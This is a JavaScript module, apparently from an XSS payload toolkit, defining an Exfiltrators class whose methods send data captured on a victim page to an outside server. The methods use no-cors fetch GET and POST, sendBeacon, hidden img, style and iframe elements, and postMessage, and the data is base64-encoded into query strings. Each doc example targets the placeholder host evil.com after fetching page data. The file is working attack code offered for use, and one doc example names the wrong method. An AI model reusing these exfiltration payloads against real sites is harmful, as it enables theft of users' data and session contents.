import Payload from "./Payload.js"
/**
* Add a get parameter name to an existing url
* @param {string} url
* @param {string} name of the parameter
* @return {string} An where you can append the data to exfiltrate
*/
function addURLParam(url, name) {
return url + (url.includes("?") ? "&" : "?") + name + "="
}
/**
* Collection of exfiltrators
* @alias Exfiltrators
*/
class Exfiltrators {
/**
* Create an exfiltrator using fetch with GET request, the data is stringified as JSON and converted to base64 before exfiltration.
*
* @param {string} url Url to use for exfiltration
* @param {string} [paramName="data"] name of the parameter that must contain the exfiltrated data.
* @example
* const exfiltrator = Exfiltrator.get("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static get(url, paramName = "data") {
const fetchUrl = addURLParam(url, paramName)
return Payload.new().eval((u, x) => fetch(u + btoa(JSON.stringify(x)), { mode: 'no-cors', cache: 'no-cache' }), fetchUrl)
}
/**
* Create an exfiltrator using fetch with POST request, the data is stringified as JSON before exfiltration.
*
* @param {string} url Url to use for exfiltration
* @param {string} [paramName="data"] name of the parameter that must contain the exfiltrated data.
* @example
* const exfiltrator = Exfiltrator.post("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static post(url, paramName = "data") {
return Payload.new((u, n, x) => fetch(u, { mode: 'no-cors', method: 'POST', body: { [n]: JSON.stringify(x) } }), url, paramName)
}
/**
* Create an exfiltrator using fetch with POST JSON request, the data is stringified as JSON before exfiltration. <br>
* <br>
* Since it's not possible to set the content-type as application/json for cross domain requests, the content-type is set as text/plain.
* @param {string} url Url to use for exfiltration
* @example
* const exfiltrator = Exfiltrator.postJSON("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static postJSON(url) {
return Payload.new().eval((u, x) => fetch(u, { mode: 'no-cors', method: 'POST', body: JSON.stringify(x) }), url)
}
/**
* Create an exfiltrator using navigator.sendBeacon, the data is stringified as JSON before exfiltration. <br>
* @param {string} url Url to use for exfiltration
* @example
* const exfiltrator = Exfiltrator.sendBeacon("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static sendBeacon(url) {
return Payload.new().eval((u, x) => navigator.sendBeacon(u, JSON.stringify(x)), url)
}
/**
* Create a debugging exfiltrator that log to the console.<br>
* @param {string} [prefix=null] Prefix to add to console.log call
* @example
* const exfiltrator = Exfiltrator.console()
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static console(prefix = null) {
if (prefix !== null) {
return Payload.new().eval((p, x) => console.log(p, x), prefix)
} else {
return Payload.new().log()
}
}
/**
* Create an exfiltrator using <img> element to perform GET request, the data is stringified as JSON and converted to base64 before exfiltration.
*
* @param {string} url Url to use for exfiltration
* @param {string} [paramName="data"] name of the parameter that must contain the exfiltrated data.
* @example
* const exfiltrator = Exfiltrator.img("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static img(url, paramName = "data") {
const imgUrl = addURLParam(url, paramName)
return Payload.new().eval((u, x) => {
const i = document.createElement('img');
i.src = u + btoa(JSON.stringify(x));
i.hidden = true;
document.body.appendChild(i)
}, imgUrl)
}
/**
* Create an exfiltrator using <style> element to perform GET request, the data is stringified as JSON and converted to base64 before exfiltration.
*
* @param {string} url Url to use for exfiltration
* @param {string} [paramName="data"] name of the parameter that must contain the exfiltrated data.
* @example
* const exfiltrator = Exfiltrator.style("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static style(url, paramName = "data") {
const styleUrl = addURLParam(url, paramName)
return Payload.new().eval((u, x) => {
const s = document.createElement('style');
s.src = u + btoa(JSON.stringify(x));
s.hidden = true;
document.body.appendChild(s)
}, styleUrl)
}
/**
* Create an exfiltrator using <iframe> element to perform GET request, the data is stringified as JSON and converted to base64 before exfiltration.
*
* @param {string} url Url to use for exfiltration
* @param {string} [paramName="data"] name of the parameter that must contain the exfiltrated data.
* @example
* const exfiltrator = Exfiltrator.iframe("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static iframe(url, paramName = "data") {
const frameUrl = addURLParam(url, paramName)
return Payload.new().eval((u, x) => {
const i = document.createElement('iframe');
i.src = u + btoa(JSON.stringify(x));
i.hidden = true;
document.body.appendChild(i)
}, frameUrl)
}
/**
* Create an exfiltrator using window.postMessage, the data is stringified as JSON before exfiltration.
*
* @param {string} [name="top"] Name of the targeted frame
* @param {string} [target="*"] Target for the message
* @example
* const exfiltrator = Exfiltrator.img("http://evil.com")
* const p = Payload.new()
* .setExfiltrator(exfiltrator)
* .fetchJSON("/")
* .exfiltrate()
* @returns {Payload} The exfiltrator function to use with [setExfiltrator]{@link Payload#setExfiltrator} and [addExfiltrator]{@link Payload#addExfiltrator}.
*/
static message(frame = "top", target = "*") {
return Payload.new().eval((frame, target, x) => window.frames[frame].postMessage(JSON.stringify(x), target), frame, target)
}
}
export default Exfiltrators;